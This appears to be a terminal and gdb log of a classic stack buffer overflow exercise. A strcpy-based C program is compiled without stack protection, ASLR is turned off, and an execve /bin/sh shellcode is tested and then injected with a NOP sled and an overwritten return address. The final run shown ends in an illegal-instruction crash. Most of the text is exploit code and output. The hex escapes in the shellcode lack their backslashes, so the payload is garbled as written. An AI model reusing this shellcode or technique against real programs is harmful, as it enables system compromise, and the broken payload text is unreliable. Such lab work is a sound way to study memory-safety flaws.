root@kali:/tmp# cat  /proc/sys/kernel/randomize_va_space
0

GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
               0x0000000000000000 0x0000000000000000  RWE    0x10

root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped

root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order:          Little Endian

#include <stdio.h>

int main(int argc, char *argv[]){
    char buf[512];
    strcpy(buf, argv[1]);
    return 0;
}

gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack

x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x31xc0x99x31xf6x54x5fxb0x3bx0fx05

#include <sys/mman.h>
#include <stdint.h>

char code[] = "x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x31xc0x99x31xf6x54x5fxb0x3bx0fx05";

int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
  (*(void(*)()) code)();
  return 0;
}

(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141

(gdb) x/100x $rsp
 0x7fffffffdd60: 0xffffe058      0x00007fff      0xf7fd3298      0x00000002
 0x7fffffffdd70: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffdd80: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffdd90: 0x41414141      0x41414141      0x41414141      0x41414141

(gdb) x/x $rbp
 0x7fffffffdf70: 0x41414141

(gdb) r $(python -c 'print "x90"*495+"x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x31xc0x99x31xf6x54x5fxb0x3bx0fx05"+"x90xddxffxffxffx7f"')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /tmp/vuln2 $(python -c 'print "x90"*495+"x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x31xc0x99x31xf6x54x5fxb0x3bx0fx05"+"x90xddxffxffxffx7f"')

 Program received signal SIGILL, Illegal instruction.
 0x00007fffffffdf73 in ?? ()